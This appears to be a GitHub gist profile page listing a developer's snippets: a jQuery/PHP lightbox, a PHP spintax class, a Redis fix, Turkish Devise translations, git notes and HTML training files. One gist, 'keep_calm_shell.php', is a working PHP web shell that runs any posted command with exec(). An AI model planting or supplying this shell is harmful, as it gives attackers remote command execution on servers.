Skip to content

Instantly share code, notes, and snippets.

View erdemoflaz's full-sized avatar
🥑

Erdem OFLAZ erdemoflaz

🥑
View GitHub Profile
<script type="text/javascript">
$(function(){
$("div.bas").click(function(){
$("div.bas").after('<div class="box"><div class="kapat">X</div><img src="dosyalar/<?php echo $getir["resim"];?>" style="margin-top:50px;border: 10px solid #fff; border-radius: 10px; height: 80%;max-width: 90%;"/></div>');
$("div.box div.kapat").click(function(){
$("div.box ").hide();
@erdemoflaz
erdemoflaz / spintax.php
Created March 30, 2016 03:26 — forked from irazasyed/spintax.php
PHP: Text Spinner Class - Nested spinning supported.
<?PHP
/**
* Spintax - A helper class to process Spintax strings.
* @name Spintax
* @author Jason Davis - https://www.codedevelopr.com/
* Tutorial: https://www.codedevelopr.com/articles/php-spintax-class/
*/
class Spintax
{
public function process($text)
@erdemoflaz
erdemoflaz / keep_calm_shell.php
Created October 12, 2016 00:39
easy php shell code
<form action="" method="post">
<input type="text" name="calistir">
<input type="submit">
</form>
<?php
if(isset($_POST["calistir"])){
$calistir = exec($_POST["calistir"]);
echo "<pre>".$calistir."</pre>";
@erdemoflaz
erdemoflaz / gist:4a1e4c043bf904fde317263d4a6bb635
Created January 28, 2017 10:24 — forked from kapkaev/gist:4619127
MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error. Resque
$ redis-cli
> config set stop-writes-on-bgsave-error no
@erdemoflaz
erdemoflaz / devise.tr.yml
Created February 14, 2017 11:08 — forked from cihad/devise.tr.yml
Turkish translations for Devise
# Additional translations at https://github.com/plataformatec/devise/wiki/I18n
tr:
devise:
confirmations:
confirmed: "Eposta adresiniz başırılı bir şekilde onaylandı."
send_instructions: "Bir kaç dakika içerisinde eposta adresinizi nasıl onaylayacağınız hakkında bir eposta alacaksınız."
send_paranoid_instructions: "Eğer eposta adresinizi veritabanımızda kayıtlı ise bir kaç dakika içerisinde eposta adresinizi nasıl onaylayacağınız hakkında bir eposta alacaksınız."
failure:
already_authenticated: "Zaten giriş yaptınız."
<select class="s" id="s">
<option value="" selected>Select a Letter</option>
<option value="a">A</option>
<option value="b">B</option>
<option value="c">C</option>
<option value="d">D</option>
<option value="e">E</option>
<option value="f">F</option>
<option value="g">G</option>
<option value="h">H</option>
@erdemoflaz
erdemoflaz / iletisim.html
Last active May 8, 2024 15:17
EĞİTİMDE YAPILAN HTML VE CSS KODLARI
<html>
<head>
<title>Kişisel Blog</title>
<meta charset="UTF-8">
<link rel="stylesheet" href="style.css">
<link href="https://fonts.googleapis.com/css?family=Open+Sans|Righteous" rel="stylesheet">
</head>
@erdemoflaz
erdemoflaz / mac os da android run
Created November 2, 2017 02:10
React-Native Android device Settings on Macos
https://stackoverflow.com/questions/35141951/react-native-java-lang-runtimeexception-sdk-location-not-found-define-locati
@erdemoflaz
erdemoflaz / git.txt
Last active October 31, 2023 17:25
Git kullanımı | TR
# -------------------------------------------
# GIT NOTLARI - ERDEM OFLAZ |8 ARALIK 2017|
# -------------------------------------------
# Paketlerin yüklenmesi
aptitude install git
# kullanıcı bilgileri
git config --global user.name "emrah"
{
"status": "success",
"search_nag": {},
"code": 0,
"bookmark": "b28xMDB8MDQ0NWZiOTBjNzNiODlkOTQ1ZTk3ZjY0ZTBhYjU0YjM0ZDYyNDg3NjU3ZWQ3OGJmZjI4ZTliZGRmODBlMzJlNQ==",
"debug_data": {
"query_data": {}
},
"message": "ok",
"data": [